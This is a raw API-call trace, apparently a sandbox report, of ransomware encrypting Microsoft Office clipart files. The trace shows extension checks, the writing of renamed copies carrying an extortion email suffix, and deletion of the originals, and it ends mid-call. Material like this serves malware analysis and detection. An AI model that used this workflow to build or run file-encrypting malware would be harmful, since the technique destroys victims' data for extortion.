1 [0190.273] lstrlenW (lpString=".xlsx") returned 5 [0190.273] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0190.273] lstrlenW (lpString=".ppt") returned 4 [0190.273] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0190.273] lstrlenW (lpString=".zip") returned 4 [0190.273] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.273] lstrlenW (lpString=".rar") returned 4 [0190.273] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.273] lstrlenW (lpString=".bz2") returned 4 [0190.273] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.273] lstrlenW (lpString=".7z") returned 3 [0190.273] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0190.273] lstrlenW (lpString=".dbf") returned 4 [0190.274] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0190.274] lstrlenW (lpString=".1cd") returned 4 [0190.274] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0190.274] lstrlenW (lpString=".jpg") returned 4 [0190.274] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0190.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0190.274] lstrlenW (lpString=".doc") returned 4 [0190.274] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.274] lstrlenW (lpString=".docx") returned 5 [0190.274] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0190.274] lstrlenW (lpString=".pdf") returned 4 [0190.274] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.274] lstrlenW (lpString=".xls") returned 4 [0190.274] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.274] lstrlenW (lpString=".xlsx") returned 5 [0190.274] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0190.274] lstrlenW (lpString=".ppt") returned 4 [0190.274] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0190.275] lstrlenW (lpString=".zip") returned 4 [0190.275] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.275] lstrlenW (lpString=".rar") returned 4 [0190.275] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.275] lstrlenW (lpString=".bz2") returned 4 [0190.275] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.275] lstrlenW (lpString=".7z") returned 3 [0190.275] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0190.275] lstrlenW (lpString=".dbf") returned 4 [0190.275] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0190.275] lstrlenW (lpString=".1cd") returned 4 [0190.275] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0190.275] lstrlenW (lpString=".jpg") returned 4 [0190.275] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.275] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0190.275] lstrlenW (lpString="IN00919_.WMF") returned 12 [0190.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0190.276] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=6920) returned 1 [0190.276] CloseHandle (hObject=0x1e4) returned 1 [0190.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf")) returned 0x20 [0190.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0190.276] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.276] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0190.277] GetLastError () returned 0x0 [0190.277] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x1b08, lpOverlapped=0x0) returned 1 [0190.279] WriteFile (in: hFile=0x1d8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x1b10, lpOverlapped=0x0) returned 1 [0190.282] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0190.282] WriteFile (in: hFile=0x1d8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0190.282] SetEndOfFile (hFile=0x1d8) returned 1 [0190.282] CloseHandle (hObject=0x1d8) returned 1 [0190.282] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.282] SetEndOfFile (hFile=0x1e4) returned 1 [0190.283] CloseHandle (hObject=0x1e4) returned 1 [0190.283] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.283] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf")) returned 1 [0190.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0190.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0190.284] lstrlenW (lpString=".doc") returned 4 [0190.284] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.284] lstrlenW (lpString=".docx") returned 5 [0190.284] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0190.284] lstrlenW (lpString=".pdf") returned 4 [0190.284] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.284] lstrlenW (lpString=".xls") returned 4 [0190.284] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.284] lstrlenW (lpString=".xlsx") returned 5 [0190.284] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0190.284] lstrlenW (lpString=".ppt") returned 4 [0190.284] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0190.284] lstrlenW (lpString=".zip") returned 4 [0190.284] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.284] lstrlenW (lpString=".rar") returned 4 [0190.284] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.284] lstrlenW (lpString=".bz2") returned 4 [0190.284] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.284] lstrlenW (lpString=".7z") returned 3 [0190.284] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0190.284] lstrlenW (lpString=".dbf") returned 4 [0190.284] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0190.284] lstrlenW (lpString=".1cd") returned 4 [0190.284] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0190.285] lstrlenW (lpString=".jpg") returned 4 [0190.285] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0190.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0190.285] lstrlenW (lpString=".doc") returned 4 [0190.285] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.285] lstrlenW (lpString=".docx") returned 5 [0190.285] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0190.285] lstrlenW (lpString=".pdf") returned 4 [0190.285] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.285] lstrlenW (lpString=".xls") returned 4 [0190.285] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.285] lstrlenW (lpString=".xlsx") returned 5 [0190.285] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0190.285] lstrlenW (lpString=".ppt") returned 4 [0190.285] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0190.285] lstrlenW (lpString=".zip") returned 4 [0190.285] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.285] lstrlenW (lpString=".rar") returned 4 [0190.285] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.285] lstrlenW (lpString=".bz2") returned 4 [0190.285] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.285] lstrlenW (lpString=".7z") returned 3 [0190.285] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0190.285] lstrlenW (lpString=".dbf") returned 4 [0190.285] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0190.285] lstrlenW (lpString=".1cd") returned 4 [0190.285] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0190.286] lstrlenW (lpString=".jpg") returned 4 [0190.286] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.286] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0190.286] lstrlenW (lpString="IN00956_.WMF") returned 12 [0190.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0190.286] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=1256) returned 1 [0190.286] CloseHandle (hObject=0x1e4) returned 1 [0190.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf")) returned 0x20 [0190.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0190.287] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.287] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0190.287] GetLastError () returned 0x0 [0190.287] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x4e8, lpOverlapped=0x0) returned 1 [0190.479] WriteFile (in: hFile=0x1d8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x4f0, lpOverlapped=0x0) returned 1 [0190.480] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0190.480] WriteFile (in: hFile=0x1d8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0190.480] SetEndOfFile (hFile=0x1d8) returned 1 [0190.480] CloseHandle (hObject=0x1d8) returned 1 [0190.480] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.481] SetEndOfFile (hFile=0x1e4) returned 1 [0190.481] CloseHandle (hObject=0x1e4) returned 1 [0190.481] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.481] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf")) returned 1 [0190.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0190.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0190.482] lstrlenW (lpString=".doc") returned 4 [0190.482] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.482] lstrlenW (lpString=".docx") returned 5 [0190.482] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0190.482] lstrlenW (lpString=".pdf") returned 4 [0190.482] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.482] lstrlenW (lpString=".xls") returned 4 [0190.482] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.482] lstrlenW (lpString=".xlsx") returned 5 [0190.482] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0190.482] lstrlenW (lpString=".ppt") returned 4 [0190.482] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0190.482] lstrlenW (lpString=".zip") returned 4 [0190.482] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.482] lstrlenW (lpString=".rar") returned 4 [0190.482] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.482] lstrlenW (lpString=".bz2") returned 4 [0190.482] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.482] lstrlenW (lpString=".7z") returned 3 [0190.482] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0190.482] lstrlenW (lpString=".dbf") returned 4 [0190.482] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0190.482] lstrlenW (lpString=".1cd") returned 4 [0190.482] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0190.483] lstrlenW (lpString=".jpg") returned 4 [0190.483] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0190.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0190.483] lstrlenW (lpString=".doc") returned 4 [0190.483] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.483] lstrlenW (lpString=".docx") returned 5 [0190.483] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0190.483] lstrlenW (lpString=".pdf") returned 4 [0190.483] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.483] lstrlenW (lpString=".xls") returned 4 [0190.483] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.483] lstrlenW (lpString=".xlsx") returned 5 [0190.483] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0190.483] lstrlenW (lpString=".ppt") returned 4 [0190.483] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0190.483] lstrlenW (lpString=".zip") returned 4 [0190.483] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.483] lstrlenW (lpString=".rar") returned 4 [0190.483] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.483] lstrlenW (lpString=".bz2") returned 4 [0190.483] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.483] lstrlenW (lpString=".7z") returned 3 [0190.483] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0190.483] lstrlenW (lpString=".dbf") returned 4 [0190.483] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0190.483] lstrlenW (lpString=".1cd") returned 4 [0190.483] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0190.484] lstrlenW (lpString=".jpg") returned 4 [0190.484] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.484] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0190.484] lstrlenW (lpString="J0086428.WMF") returned 12 [0190.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0190.484] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=35346) returned 1 [0190.484] CloseHandle (hObject=0x1e4) returned 1 [0190.484] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf")) returned 0x20 [0190.484] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0190.485] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.485] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0190.485] GetLastError () returned 0x0 [0190.485] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x8a12, lpOverlapped=0x0) returned 1 [0190.509] WriteFile (in: hFile=0x1d8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x8a20, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x8a20, lpOverlapped=0x0) returned 1 [0190.511] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0190.511] WriteFile (in: hFile=0x1d8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0190.511] SetEndOfFile (hFile=0x1d8) returned 1 [0190.511] CloseHandle (hObject=0x1d8) returned 1 [0190.511] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.511] SetEndOfFile (hFile=0x1e4) returned 1 [0190.512] CloseHandle (hObject=0x1e4) returned 1 [0190.512] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.512] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf")) returned 1 [0190.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0190.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0190.512] lstrlenW (lpString=".doc") returned 4 [0190.513] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.513] lstrlenW (lpString=".docx") returned 5 [0190.513] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0190.513] lstrlenW (lpString=".pdf") returned 4 [0190.513] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.513] lstrlenW (lpString=".xls") returned 4 [0190.513] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.513] lstrlenW (lpString=".xlsx") returned 5 [0190.513] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0190.513] lstrlenW (lpString=".ppt") returned 4 [0190.513] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0190.513] lstrlenW (lpString=".zip") returned 4 [0190.513] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.513] lstrlenW (lpString=".rar") returned 4 [0190.513] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.513] lstrlenW (lpString=".bz2") returned 4 [0190.513] lstrcmpiW 